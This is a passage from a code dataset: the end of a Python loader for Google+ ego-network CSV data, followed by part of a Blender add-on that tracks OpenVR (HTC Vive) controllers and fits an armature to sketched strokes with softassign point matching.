'csv_v2'))\n        self.new_node_table.to_csv(os.path.join(dirs, 'csv_v2', self.ego + '-node.csv'), index=False)\n        self.new_feat_table.to_csv(os.path.join(dirs, 'csv_v2', self.ego + '-feat.csv'), index=False)\n        self.edge_table.to_csv(os.path.join(dirs, 'csv_v2', self.ego + '-edge.csv'), index=False)\n\n    def __init__(self, ego, ranfig_dir=settings.SETTINGS_DIR, csv_mode=True):\n        SnapRawGPLoader.__init__(self, ranfig_dir)\n        if ego not in self.egos:\n            raise ValueError('Ego Network #%s does not exist.' % ego)\n        self.ego = ego\n        if csv_mode:\n            self.node_table, self.edge_table, self.feat_table = self.csv_ego_net(ego)\n        else:\n            self.node_table, self.edge_table, self.feat_table = self.get_ego_net(ego)\n        self.new_node_table = self.gen_node_table()\n        self.new_feat_table, self.aux_feat_dict = self.gen_feat_table(self.new_node_table)\n\n\nclass GPCSV2EgoLoader:\n    def get_aux_dict(self):\n        \"\"\"\n        Get the auxiliary node and feature dictionary\n        uid -> index\n        category: feature -> index\n        :return: dict, dict\n        \"\"\"\n        nodes = self.node_table[COLUMNS['nodes'][0]]\n        feats = [value[1] + ':' + str(value[0])\n                 for value in self.feat_table.values]\n        return {node: index for index, node in nodes.iteritems()}, {feat: index for index, feat in enumerate(feats)}\n\n    def __init__(self, ego, ranfig_dir=settings.SETTINGS_DIR):\n        self.ranfig = ranfig_dir\n        self.egos = get_ego_nodes()\n        if ego not in self.egos:\n            raise ValueError('Ego Network #%s does not exist.' % ego)\n        self.ego = ego\n        dirs = rfg.load_ranfig(self.ranfig)['SNAP']['googleplus']\n        t0 = time.time()\n        self.node_table = pd.read_csv(os.path.join(dirs, 'csv_v2', self.ego + '-node.csv'))\n        self.edge_table = pd.read_csv(os.path.join(dirs, 'csv_v2', self.ego + '-edge.csv'))\n        self.feat_table = pd.read_csv(os.path.join(dirs, 'csv_v2', self.ego + '-feat.csv'))\n        logging.debug('Ego Network #%s Loaded in %f s' % (self.ego, time.time() - t0))\n\n\ndef generate_csv_v2():\n    \"\"\"\n    Generate the csv list of simply formatted data\n    :return: none\n    \"\"\"\n    li = get_ego_nodes()\n    for index, ego in enumerate(li):\n        t0 = time.time()\n        ego_net = GPRawEgoLoader(ego)\n        ego_net.write_new_csv()\n        logging.debug('Finish adding No.%d ego network #%s in %fs' % (index, ego, time.time() - t0))\n\n\nif __name__ == '__main__':\n    pass\n","repo_name":"rAnYKM/rAnProject","sub_path":"rAnProject/SNAPdata/GooglePlus/raw_loader.py","file_name":"raw_loader.py","file_ext":"py","file_size_in_byte":8023,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"72739098982","text":"\"\"\"\r\nProject: PosingBySketching\r\nVersion: 4.0\r\n\r\n==========================\r\nOpenVR Compatible (HTC Vive)\r\n==========================\r\n\r\nOpenVR Compatible head mounted display\r\nIt uses a python wrapper to connect with the SDK\r\n\"\"\"\r\nimport threading\r\nimport openvr\r\nimport bpy\r\nimport math\r\nimport sys\r\nimport copy\r\nfrom enum import Enum\r\nfrom mathutils import Quaternion\r\nfrom mathutils import Matrix\r\nfrom mathutils import Vector\r\nimport winsound\r\n\r\nimport time\r\n\r\nfrom . import HMD_Base\r\n\r\nfrom ..lib import (\r\n        checkModule,\r\n        )\r\n\r\nimport datetime\r\nfrom scipy.optimize import linear_sum_assignment\r\nimport numpy as np\r\n\r\ncurrObject = \"\"\r\ncurrBone = \"\"\r\ncurrObject_l = \"\"\r\ncurrBone_l = \"\"\r\n\r\n\r\n# Algorithm from \"New Algorithms for 2D and 3D Point Matching: Pose Estimation and Correpondance\" used also in\r\n#   1) A New Point Matching Algorithm for Non-Rigid Registration\r\n#   2) Enhancing Character Posing by a Sketch-Based Interaction\r\nclass softAss_detAnnealing_3(threading.Thread):\r\n    def __init__(self):\r\n        threading.Thread.__init__(self)\r\n\r\n    # Compute 3D distance\r\n    def compute_dist(self, p1, p2):\r\n        return math.sqrt(((p1[0] - p2[0]) ** 2) + ((p1[1] - p2[1]) ** 2) + ((p1[2] - p2[2]) ** 2))\r\n\r\n    # Move the first bone at the beggining og the stroke\r\n    def set_init_cond(self):\r\n        bones = bpy.data.objects['Armature'].pose.bones  # <H\r\n        stroke = bpy.data.curves['Stroke'].splines[0]  # <H\r\n\r\n        # TODO: Find root bones\r\n        for b in bones:\r\n            if b.parent == None:\r\n                print(bpy.data.objects['Armature'].matrix_world * b.head)\r\n\r\n                pmatrix = b.bone.matrix_local\r\n                omatrix = bpy.data.objects['Armature'].matrix_world\r\n\r\n\r\n                target_loc = bpy.data.objects['StrokeObj'].matrix_world * stroke.bezier_points[0].co\r\n                b.location = omatrix.inverted() * pmatrix.inverted() * target_loc\r\n\r\n                bpy.context.scene.update()\r\n                print(bpy.data.objects['Armature'].matrix_world * b.head)\r\n\r\n    def run(self):\r\n        bones = bpy.data.objects['Armature'].pose.bones  # <H\r\n        # stroke = bpy.data.curves['Stroke'].splines[0] # <H\r\n\r\n        dict = {}\r\n        stroke_points = []\r\n        num_points = 0\r\n        for k in range(0, len(bpy.data.curves['Stroke'].splines)):\r\n            stroke = bpy.data.curves['Stroke'].splines[k]\r\n            for j in range(0, len(stroke.bezier_points)):\r\n                p = stroke.bezier_points[j]\r\n                # World position of the point\r\n                point = bpy.data.objects['StrokeObj'].matrix_world * p.co\r\n                # Add into the dictionoary for correspondance\r\n                dict[num_points] = [k, j]  # [spline_index, point_index]\r\n                # Add in the point list\r\n                stroke_points.append(point)\r\n                num_points += 1\r\n\r\n        # [DEBUG]:\r\n        # print(dict)\r\n        # for i in range(0, num_points):\r\n        #    print(dict[i])\r\n        #    print(dict[i][0], dict[i][1])\r\n\r\n        # INIT PARAMETERS\r\n        # values of the paper\r\n        # beta_f = 0.2\r\n        # beta_r = 1.075\r\n        # beta = 0.00091\r\n        # alpha = 0.03\r\n        # I0 = 4\r\n        # I1 = 30\r\n\r\n        # custom value\r\n        beta_f = 0.2\r\n        beta_r = 1.9\r\n        beta = 0.00091\r\n        alpha = 0.03\r\n        I0 = 4\r\n        I1 = 30\r\n\r\n        iteration = 0\r\n\r\n        # set starting condition\r\n        self.set_init_cond()\r\n\r\n        while beta <= beta_f:\r\n            print('iteration:', iteration)\r\n\r\n            Qjk = []\r\n\r\n            # Compute Qjk\r\n            for k in range(0, num_points):\r\n                p = bpy.data.curves['Stroke'].splines[dict[k][0]].bezier_points[dict[k][1]]\r\n\r\n                # World position of the point\r\n                point = bpy.data.objects['StrokeObj'].matrix_world * p.co\r\n\r\n                costs_row = []\r\n                for i in range(0, len(bones)):\r\n                    b = bones[i]\r\n                    # World position of the bone\r\n                    tail = bpy.data.objects['Armature'].matrix_world * b.tail  # <H\r\n                    head = bpy.data.objects['Armature'].matrix_world * b.head  # <H\r\n                    # center = bpy.data.objects['Armature'].matrix_world * b.center # <H\r\n\r\n                    dist = self.compute_dist(tail, point)\r\n                    # length_diff = abs(b.length - compute_dist(point,head))\r\n                    # costs_row.append(dist + length_diff)\r\n                    costs_row.append(-(dist - alpha))\r\n\r\n                Qjk.append(costs_row)\r\n\r\n            m0 = np.asarray(Qjk)\r\n\r\n            # Deterministic annealing\r\n            for i in range(0, num_points):\r\n                for j in range(0, len(bones)):\r\n                    m0[i, j] = math.exp(beta * m0[i, j])\r\n\r\n                    # TODO: Add outlier row and cols\r\n\r\n            # Sinkhorn's method DO until m converges\r\n            m1 = np.ones((num_points, len(bones)))\r\n\r\n            for i in range(0, I1):  # TODO: set coverage threshold\r\n                for i in range(0, num_points):\r\n                    for j in range(0, len(bones)):\r\n                        m1[i, j] = m0[i, j] / np.sum(m0[i])\r\n\r\n                for i in range(0, num_points):\r\n                    for j in range(0, len(bones)):\r\n                        m0[i, j] = m1[i, j] / np.sum(m1[:, j])\r\n\r\n                        # [DEBUG]: Rows - Cols sum up\r\n            # print(\"rows - cols sum up\")\r\n            # for i in range (0,num_points):\r\n            #    print (np.sum(m0[i]))\r\n\r\n            # for j in range (0, len(bones)):\r\n            #    print(np.sum(m0[:,j]))\r\n\r\n            # Softassign - ENERGY FORMULATION E3D\r\n            E3D = []\r\n            # Compute E3D\r\n            for k in range(0, num_points):\r\n                p = bpy.data.curves['Stroke'].splines[dict[k][0]].bezier_points[dict[k][1]]\r\n\r\n                # World position of the point\r\n                point = bpy.data.objects['StrokeObj'].matrix_world * p.co\r\n\r\n                costs_row = []\r\n                for i in range(0, len(bones)):\r\n                    b = bones[i]\r\n                    # World position of the bone\r\n                    tail = bpy.data.objects['Armature'].matrix_world * b.tail  # <H\r\n                    head = bpy.data.objects['Armature'].matrix_world * b.head  # <H\r\n                    # center = bpy.data.objects['Armature'].matrix_world * b.center # <H\r\n\r\n                    dist = self.compute_dist(tail, point)\r\n                    # length_diff = abs(b.length - compute_dist(point,head))\r\n                    # costs_row.append(dist + length_diff)\r\n                    costs_row.append(dist - alpha * m0[k, i])\r\n\r\n                E3D.append(costs_row)\r\n\r\n            cost = np.transpose(m0) * np.transpose(E3D)\r\n            row_ind, col_ind = linear_sum_assignment(cost)\r\n            print(col_ind)\r\n            print(cost[row_ind, col_ind].sum())\r\n\r\n            # Update pose parameters\r\n            for i in range(0, len(bones)):\r\n                b = bones[i]\r\n                # Set target positions\r\n                #\r\n                bpy.data.objects[b.name].location = copy.deepcopy(bpy.data.objects['StrokeObj'].matrix_world *\r\n                                                                  bpy.data.curves['Stroke'].splines[\r\n                                                                      dict[col_ind[i]][0]].bezier_points[\r\n                                                                      dict[col_ind[i]][1]].co)\r\n\r\n                # Articulate armature\r\n                constr = b.constraints['Damped Track']\r\n                constr.target = bpy.data.objects[b.name]\r\n\r\n            iteration += 1\r\n            beta = beta * beta_r\r\n\r\n\r\n\r\n\r\nclass State(Enum):\r\n    IDLE = 1\r\n    DECISIONAL = 2\r\n    INTERACTION_LOCAL = 3\r\n    NAVIGATION_ENTER = 4\r\n    NAVIGATION = 5\r\n    NAVIGATION_EXIT = 6\r\n    ZOOM_IN = 7\r\n    ZOOM_OUT = 8\r\n    CAMERA_MOVE_CONT = 9\r\n    CAMERA_ROT_CONT = 10\r\n    SCALING = 11\r\n    CHANGE_AXES = 12\r\n    DRAWING = 13\r\n    TRACKPAD_BUTTON_DOWN = 14\r\n\r\nclass StateLeft(Enum):\r\n    IDLE = 1\r\n    DECISIONAL = 2\r\n    INTERACTION_LOCAL = 3\r\n    NAVIGATION = 5\r\n    SCALING = 11\r\n    CHANGE_AXES = 12\r\n\r\nclass OpenVR(HMD_Base):\r\n    ctrl_index_r = 0\r\n    ctrl_index_l = 0\r\n    tracker_index = 0\r\n    hmd_index = 0\r\n    curr_axes_r = 0\r\n    curr_axes_l = 0\r\n    state = State.IDLE\r\n    state_l = StateLeft.IDLE\r\n\r\n    diff_rot = Quaternion()\r\n    diff_loc = bpy.data.objects['Controller.R'].location\r\n    initial_loc = Vector((0,0,0))\r\n    initial_rot = Quaternion()\r\n\r\n    diff_rot_l = Quaternion()\r\n    diff_loc_l = bpy.data.objects['Controller.L'].location\r\n    initial_loc_l = Vector((0, 0, 0))\r\n    initial_rot_l = Quaternion()\r\n\r\n    diff_distance = 0\r\n    initial_scale = 0\r\n    trans_matrix = bpy.data.objects['Camera'].matrix_world * bpy.data.objects['Origin'].matrix_world\r\n    diff_trans_matrix = bpy.data.objects['Camera'].matrix_world * bpy.data.objects['Origin'].matrix_world\r\n\r\n    objToControll = \"\"\r\n    boneToControll = \"\"\r\n    objToControll_l = \"\"\r\n    boneToControll_l = \"\"\r\n    zoom = 1\r\n    rotFlag = True\r\n    axes = ['LOC/ROT_XYZ','LOC_XYZ','LOC_X','LOC_Y','LOC_Z','ROT_XYZ','ROT_X','ROT_Y','ROT_Z']\r\n\r\n    gui_obj = ['Camera', 'Origin',\r\n               'Controller.R', 'Controller.L',\r\n               'Text.R', 'Text.L']\r\n\r\n\r\n    def __init__(self, context, error_callback):\r\n        super(OpenVR, self).__init__('OpenVR', True, context, error_callback)\r\n        checkModule('hmd_sdk_bridge')\r\n\r\n    def _getHMDClass(self):\r\n        \"\"\"\r\n        This is the python interface to the DLL file in hmd_sdk_bridge.\r\n        \"\"\"\r\n        from bridge.hmd.openvr import HMD\r\n        return HMD\r\n\r\n    @property\r\n    def projection_matrix(self):\r\n        if self._current_eye:\r\n            matrix = self._hmd.getProjectionMatrixRight(self._near, self._far)\r\n        else:\r\n            matrix = self._hmd.getProjectionMatrixLeft(self._near, self._far)\r\n\r\n        self.projection_matrix = matrix\r\n        return super(OpenVR, self).projection_matrix\r\n\r\n    @projection_matrix.setter\r\n    def projection_matrix(self, value):\r\n        self._projection_matrix[self._current_eye] = \\\r\n            self._convertMatrixTo4x4(value)\r\n\r\n    def init(self, context):\r\n        \"\"\"\r\n        Initialize device\r\n\r\n        :return: return True if the device was properly initialized\r\n        :rtype: bool\r\n        \"\"\"\r\n\r\n        vrSys = openvr.init(openvr.VRApplication_Scene)\r\n        self.ctrl_index_r, self.ctrl_index_l, self.tracker_index, self.hmd_index = self.findControllers(vrSys)\r\n        if bpy.data.objects.get('StrokeObj') is None:\r\n            self.create_curve()\r\n        bpy.data.window_managers['WinMan'].virtual_reality.lock_camera = True\r\n\r\n        try:\r\n            HMD = self._getHMDClass()\r\n            self._hmd = HMD()\r\n\r\n            # bail out early if we didn't initialize properly\r\n            if self._hmd.get_state_bool() == False:\r\n                raise Exception(self._hmd.get_status())\r\n\r\n            # Tell the user our status at this point.\r\n            self.status = \"HMD Init OK. Make sure lighthouses running else no display.\"\r\n\r\n            # gather arguments from HMD\r\n            self.setEye(0)\r\n            self.width = self._hmd.width_left\r\n            self.height = self._hmd.height_left\r\n\r\n            self.setEye(1)\r\n            self.width = self._hmd.width_right\r\n            self.height = self._hmd.height_right\r\n\r\n            # initialize FBO\r\n            if not super(OpenVR, self).init():\r\n                raise Exception(\"Failed to initialize HMD\")\r\n\r\n            # send it back to HMD\r\n            if not self._setup():\r\n                raise Exception(\"Failed to setup OpenVR Compatible HMD\")\r\n\r\n        except Exception as E:\r\n            self.error(\"OpenVR.init\", E, True)\r\n            self._hmd = None\r\n            return False\r\n\r\n        else:\r\n            return True\r\n\r\n    def _setup(self):\r\n        return self._hmd.setup(self._color_texture[0], self._color_texture[1])\r\n\r\n    # ---------------------------------------- #\r\n    # Functions\r\n    # ---------------------------------------- #\r\n    ## Find the index of the two controllers\r\n    def findControllers(self, vrSys):\r\n        r_index, l_index, tracker_index, hmd_index = -1, -1, -1, -1\r\n\r\n        for i in range(openvr.k_unMaxTrackedDeviceCount):\r\n            if openvr.IVRSystem.getTrackedDeviceClass(vrSys, i) == openvr.TrackedDeviceClass_Invalid:\r\n                print(i, openvr.IVRSystem.getTrackedDeviceClass(vrSys, i), \" - \")\r\n            if openvr.IVRSystem.getTrackedDeviceClass(vrSys, i) == openvr.TrackedDeviceClass_HMD:\r\n                print(i, openvr.IVRSystem.getTrackedDeviceClass(vrSys, i), \" - HMD\")\r\n                hmd_index = i\r\n            if openvr.IVRSystem.getTrackedDeviceClass(vrSys, i) == openvr.TrackedDeviceClass_TrackingReference:\r\n                print(i, openvr.IVRSystem.getTrackedDeviceClass(vrSys, i), \" - TrackingReference\")\r\n            if openvr.IVRSystem.getTrackedDeviceClass(vrSys, i) == openvr.TrackedDeviceClass_Controller:\r\n                print(i, openvr.IVRSystem.getTrackedDeviceClass(vrSys, i), \" - Controller\")\r\n                if r_index == -1:\r\n                    r_index = i\r\n                else:\r\n                    l_index = i\r\n            if openvr.IVRSystem.getTrackedDeviceClass(vrSys, i) == 3:\r\n                print(i, openvr.IVRSystem.getTrackedDeviceClass(vrSys, i), \" - VIVE Tracker\")\r\n                tracker_index = i\r\n\r\n        print('r_index = ', r_index, ' l_index = ', l_index)\r\n        return r_index, l_index, tracker_index, hmd_index\r\n\r\n    def setController(self):\r\n        poses_t = openvr.TrackedDevicePose_t * openvr.k_unMaxTrackedDeviceCount\r\n        poses = poses_t()\r\n        openvr.VRCompositor().waitGetPoses(poses, len(poses), None, 0)\r\n\r\n        matrix = poses[self.ctrl_index_r].mDeviceToAbsoluteTracking\r\n        matrix2 = poses[self.ctrl_index_l].mDeviceToAbsoluteTracking\r\n\r\n        try:\r\n            camera = bpy.data.objects[\"Camera\"]\r\n            ctrl = bpy.data.objects[\"Controller.R\"]\r\n            ctrl_l = bpy.data.objects[\"Controller.L\"]\r\n\r\n\r\n            self.trans_matrix = camera.matrix_world * bpy.data.objects['Origin'].matrix_world\r\n            RTS_matrix = Matrix(((matrix[0][0], matrix[0][1], matrix[0][2], matrix[0][3]),\r\n                                 (matrix[1][0], matrix[1][1], matrix[1][2], matrix[1][3]),\r\n                                 (matrix[2][0], matrix[2][1], matrix[2][2], matrix[2][3]),\r\n                                 (0, 0, 0, 1)))\r\n\r\n            RTS_matrix2 = Matrix(((matrix2[0][0], matrix2[0][1], matrix2[0][2], matrix2[0][3]),\r\n                                 (matrix2[1][0], matrix2[1][1], matrix2[1][2], matrix2[1][3]),\r\n                                 (matrix2[2][0], matrix2[2][1], matrix2[2][2], matrix2[2][3]),\r\n                                 (0, 0, 0, 1)))\r\n\r\n            # Interaction state active\r\n            if(self.rotFlag):\r\n                ctrl.matrix_world = self.trans_matrix * RTS_matrix\r\n                bpy.data.objects[\"Text.R\"].location = ctrl.location\r\n                bpy.data.objects[\"Text.R\"].rotation_quaternion = ctrl.rotation_quaternion * Quaternion((0.707, -0.707, 0, 0))\r\n\r\n                ctrl_l.matrix_world = self.trans_matrix * RTS_matrix2\r\n                bpy.data.objects[\"Text.L\"].location = ctrl_l.location\r\n                bpy.data.objects[\"Text.L\"].rotation_quaternion = ctrl_l.rotation_quaternion * Quaternion((0.707, -0.707, 0, 0))\r\n\r\n            # Navigation state active\r\n            else:\r\n                diff_rot_matr = self.diff_rot.to_matrix()\r\n                inverted_matrix = RTS_matrix * diff_rot_matr.to_4x4()\r\n                inverted_matrix = inverted_matrix.inverted()\r\n                stMatrix = self.diff_trans_matrix * inverted_matrix\r\n                quat = stMatrix.to_quaternion()\r\n                camera.rotation_quaternion = quat\r\n\r\n\r\n\r\n        except:\r\n            print(\"ERROR: \")\r\n\r\n    def changeSelection(self,obj,bone,selectState):\r\n\r\n        if selectState:\r\n            print(\"SELECT: \", obj, bone)\r\n            if obj != \"\":\r\n                if bone != \"\":\r\n                    bpy.data.objects[obj].select = True\r\n                    bpy.context.scene.objects.active = bpy.data.objects[obj]\r\n                    bpy.ops.object.mode_set(mode='POSE')\r\n                    bpy.data.objects[obj].data.bones[bone].select = True\r\n\r\n                else:\r\n                    bpy.data.objects[obj].select = True\r\n                    bpy.context.scene.objects.active = bpy.data.objects[obj]\r\n                    bpy.ops.object.mode_set(mode='OBJECT')\r\n\r\n        else:\r\n            print (\"DESELECT: \", obj, bone)\r\n            if obj != \"\":\r\n                if bone != \"\":\r\n                    bpy.data.objects[obj].select = True\r\n                    bpy.context.scene.objects.active = bpy.data.objects[obj]\r\n                    bpy.ops.object.mode_set(mode='POSE')\r\n                    bpy.data.objects[obj].data.bones[bone].select = False\r\n                    bpy.data.objects[obj].select = False\r\n                else:\r\n                    bpy.data.objects[obj].select = True\r\n                    bpy.context.scene.objects.active = bpy.data.objects[obj]\r\n                    bpy.data.objects[obj].select = False\r\n                    bpy.ops.object.mode_set(mode='OBJECT')\r\n\r\n    ## Computes distance from controller\r\n    def computeTargetObjDistance(self, Object, Bone, isRotFlag):\r\n\r\n        if isRotFlag:\r\n            tui = bpy.data.objects['Controller.R']\r\n        else:\r\n            tui = bpy.data.objects['Controller.L']\r\n\r\n        obj = bpy.data.objects[Object]\r\n        if Bone != \"\":\r\n            pbone = obj.pose.bones[Bone]\r\n            return (math.sqrt(pow((tui.location[0] - (pbone.center[0] + obj.location[0])), 2) + pow(\r\n                (tui.location[1] - (pbone.center[1] + obj.location[1])), 2) + pow(\r\n                (tui.location[2] - (pbone.center[2] + obj.location[2])), 2)))\r\n        else:\r\n            loc = obj.matrix_world.to_translation()\r\n            return (math.sqrt(pow((tui.location[0] - loc[0]), 2) + pow((tui.location[1] - loc[1]), 2) + pow(\r\n                (tui.location[2] - loc[2]), 2)))\r\n\r\n    ## Returns the object closest to the Controller\r\n    def getClosestItem(self, isRight):\r\n        dist = sys.float_info.max\r\n        cObj = \"\"\r\n        cBone = \"\"\r\n        distThreshold = 0.5\r\n\r\n        for object in bpy.data.objects:\r\n            if object.type == 'ARMATURE':\r\n                if not ':TEST_REF' in object.name:\r\n                    for bone in object.pose.bones:\r\n                        currDist = self.computeTargetObjDistance(object.name, bone.name, isRight)\r\n                        bone.bone_group = None\r\n                        if (currDist < dist and currDist < distThreshold):\r\n                            dist = currDist\r\n                            cObj = object.name\r\n                            cBone = bone.name\r\n\r\n\r\n            else:\r\n                #if object.type != 'CAMERA' and not object.name in self.gui_obj:\r\n                if not object.name in self.gui_obj:\r\n                    currDist = self.computeTargetObjDistance(object.name, \"\", isRight)\r\n                    # print(object.name, bone.name, currDist)\r\n                    if (currDist < dist and currDist < distThreshold):\r\n                        dist = currDist\r\n                        cObj = object.name\r\n                        cBone = \"\"\r\n\r\n\r\n\r\n        # Select the new closest item\r\n        print(cObj, cBone)\r\n        print(\"--------------------------------\")\r\n        if(cBone!=\"\"):\r\n            bpy.data.objects[cObj].pose.bones[cBone].rotation_mode = 'QUATERNION'\r\n            #bpy.data.objects[cObj].pose.bones[cBone].bone_group = bpy.data.objects[cObj].pose.bone_groups[\"SelectedBones\"]\r\n\r\n        return cObj, cBone\r\n\r\n    ## Resets the original transformation when constraints movement are used\r\n    def applyConstraint(self, isRight):\r\n        if isRight:\r\n            type = self.axes[self.curr_axes_r].split('_')[0]\r\n            axes = self.axes[self.curr_axes_r].split('_')[1]\r\n            obj = self.objToControll\r\n            bone = self.boneToControll\r\n            init_loc = self.initial_loc\r\n            init_rot = self.initial_rot\r\n\r\n        else:\r\n            type = self.axes[self.curr_axes_l].split('_')[0]\r\n            axes = self.axes[self.curr_axes_l].split('_')[1]\r\n            obj = self.objToControll_l\r\n            bone = self.boneToControll_l\r\n            init_loc = self.initial_loc_l\r\n            init_rot = self.initial_rot_l\r\n\r\n        if type == 'LOC':\r\n            if bone!=\"\":\r\n                bpy.data.objects[obj].pose.bones[bone].rotation_mode = 'XYZ'\r\n                bpy.data.objects[obj].pose.bones[bone].rotation_euler = init_rot\r\n                bpy.data.objects[obj].pose.bones[bone].rotation_mode = 'QUATERNION'\r\n\r\n            else:\r\n                bpy.data.objects[obj].rotation_mode = 'XYZ'\r\n                bpy.data.objects[obj].rotation_euler = init_rot\r\n                bpy.data.objects[obj].rotation_mode = 'QUATERNION'\r\n\r\n            if axes == 'X':\r\n                if bone != \"\":\r\n                    bpy.data.objects[obj].pose.bones[bone].location[1] = init_loc[1]\r\n                    bpy.data.objects[obj].pose.bones[bone].location[2] = init_loc[2]\r\n                else:\r\n                    bpy.data.objects[obj].location[1] = init_loc[1]\r\n                    bpy.data.objects[obj].location[2] = init_loc[2]\r\n\r\n            if axes == 'Y':\r\n                if bone != \"\":\r\n                    bpy.data.objects[obj].pose.bones[bone].location[0] = init_loc[0]\r\n                    bpy.data.objects[obj].pose.bones[bone].location[2] = init_loc[2]\r\n                else:\r\n                    bpy.data.objects[obj].location[0] = init_loc[0]\r\n                    bpy.data.objects[obj].location[2] = init_loc[2]\r\n\r\n            if axes == 'Z':\r\n                if bone != \"\":\r\n                    bpy.data.objects[obj].pose.bones[bone].location[0] = init_loc[0]\r\n                    bpy.data.objects[obj].pose.bones[bone].location[1] = init_loc[1]\r\n                else:\r\n                    bpy.data.objects[obj].location[0] = init_loc[0]\r\n                    bpy.data.objects[obj].location[1] = init_loc[1]\r\n\r\n        if type == 'ROT':\r\n            if bone!=\"\":\r\n                bpy.data.objects[obj].pose.bones[bone].location = init_loc\r\n            else:\r\n                bpy.data.objects[obj].location = init_loc\r\n\r\n            if axes == 'X':\r\n                if bone!=\"\":\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_mode = 'XYZ'\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_euler[1] = init_rot[1]\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_euler[2] = init_rot[2]\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_mode = 'QUATERNION'\r\n                else:\r\n                    bpy.data.objects[obj].rotation_mode = 'XYZ'\r\n                    bpy.data.objects[obj].rotation_euler[1] = init_rot[1]\r\n                    bpy.data.objects[obj].rotation_euler[2] = init_rot[2]\r\n                    bpy.data.objects[obj].rotation_mode = 'QUATERNION'\r\n\r\n            if axes == 'Y':\r\n                if bone!=\"\":\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_mode = 'XYZ'\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_euler[0] = init_rot[0]\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_euler[2] = init_rot[2]\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_mode = 'QUATERNION'\r\n                else:\r\n                    bpy.data.objects[obj].rotation_mode = 'XYZ'\r\n                    bpy.data.objects[obj].rotation_euler[0] = init_rot[0]\r\n                    bpy.data.objects[obj].rotation_euler[2] = init_rot[2]\r\n                    bpy.data.objects[obj].rotation_mode = 'QUATERNION'\r\n\r\n            if axes == 'Z':\r\n                if bone!=\"\":\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_mode = 'XYZ'\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_euler[0] = init_rot[0]\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_euler[1] = init_rot[1]\r\n                    bpy.data.objects[obj].pose.bones[bone].rotation_mode = 'QUATERNION'\r\n                else:\r\n                    bpy.data.objects[obj].rotation_mode = 'XYZ'\r\n                    bpy.data.objects[obj].rotation_euler[0] = init_rot[0]\r\n                    bpy.data.objects[obj].rotation_euler[1] = init_rot[1]\r\n                    bpy.data.objects[obj].rotation_mode = 'QUATERNION'\r\n\r\n    ## Create a curve from a set of points\r\n    def create_curve(self):\r\n        name = \"Stroke\"\r\n        curvedata = bpy.data.curves.new(name=name, type='CURVE')\r\n        curvedata.dimensions = '3D'\r\n        curvedata.fill_mode = 'FULL'\r\n        curvedata.bevel_depth = 0.01\r\n\r\n        ob = bpy.data.objects.new(name + \"Obj\", curvedata)\r\n        bpy.context.scene.objects.link(ob)\r\n        ob.show_x_ray = True\r\n\r\n    def add_spline(self, point):\r\n        curvedata = bpy.data.curves['Stroke']\r\n        polyline = curvedata.splines.new('BEZIER')\r\n        polyline.resolution_u = 1\r\n        polyline.bezier_points[0].co = point\r\n\r\n    ## Add new point to the curve\r\n    def update_curve(self, point):\r\n        polyline = bpy.data.curves['Stroke'].splines[-1]\r\n        polyline.bezier_points.add(1)\r\n        polyline.bezier_points[-1].co = point\r\n        polyline.bezier_points[-1].handle_left = point\r\n        polyline.bezier_points[-1].handle_right = point\r\n        print (datetime.datetime.now())\r\n\r\n    def remove_spline(self):\r\n        polyline = bpy.data.curves['Stroke'].splines[-1]\r\n        bpy.data.curves['Stroke'].splines.remove(polyline)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    # ---------------------------------------- #\r\n    # Main Loop\r\n    # ---------------------------------------- #\r\n    def loop(self, context):\r\n        \"\"\"\r\n        Get fresh tracking data\r\n        \"\"\"\r\n        try:\r\n            data = self._hmd.update()\r\n            self._eye_orientation_raw[0] = data[0]\r\n            self._eye_orientation_raw[1] = data[2]\r\n            self._eye_position_raw[0] = data[1]\r\n            self._eye_position_raw[1] = data[3]\r\n\r\n\r\n            self.setController()\r\n\r\n            # ctrl_state contains the value of the button\r\n            idx, ctrl_state = openvr.IVRSystem().getControllerState(self.ctrl_index_r)\r\n            idx_l, ctrl_state_l = openvr.IVRSystem().getControllerState(self.ctrl_index_l)\r\n\r\n            ctrl = bpy.data.objects['Controller.R']\r\n            ctrl_l = bpy.data.objects['Controller.L']\r\n            camera = bpy.data.objects['Camera']\r\n\r\n            ########## Right_Controller_States ##########\r\n\r\n            if self.state == State.IDLE:\r\n                bpy.data.objects[\"Text.R\"].data.body = \"Idle\\n\" + self.objToControll + \"-\" + self.boneToControll\r\n\r\n                # DECISIONAL\r\n                if (ctrl_state.ulButtonPressed == 4):\r\n                    print(\"IDLE -> DECISIONAL\")\r\n                    self.changeSelection(self.objToControll, self.boneToControll, False)\r\n                    self.state = State.DECISIONAL\r\n\r\n                # # INTERACTION_LOCAL - VR_BLENDER\r\n                # if ctrl_state.ulButtonPressed == 8589934592 and self.objToControll != \"\":\r\n                #     print(\"IDLE -> INTERACTION LOCAL\")\r\n                #     self.state = State.INTERACTION_LOCAL\r\n                #     self.curr_axes_r = 0\r\n                #\r\n                #     if self.boneToControll != \"\":\r\n                #         self.diff_rot = ctrl.rotation_quaternion.inverted() * bpy.data.objects[self.objToControll].pose.bones[self.boneToControll].matrix.to_quaternion()\r\n                #         self.diff_loc = bpy.data.objects[self.objToControll].pose.bones[self.boneToControll].matrix.to_translation() - ctrl.location\r\n                #         self.initial_loc = copy.deepcopy(bpy.data.objects[self.objToControll].pose.bones[self.boneToControll].location)\r\n                #         bpy.data.objects[self.objToControll].pose.bones[self.boneToControll].rotation_mode = 'XYZ'\r\n                #         self.initial_rot = copy.deepcopy(bpy.data.objects[self.objToControll].pose.bones[self.boneToControll].rotation_euler)\r\n                #         bpy.data.objects[self.objToControll].pose.bones[self.boneToControll].rotation_mode = 'QUATERNION'\r\n                #\r\n                #     else:\r\n                #         self.diff_rot = ctrl.rotation_quaternion.inverted() * bpy.data.objects[self.objToControll].rotation_quaternion\r\n                #         self.diff_loc = bpy.data.objects[self.objToControll].location - ctrl.location\r\n                #         self.initial_loc = 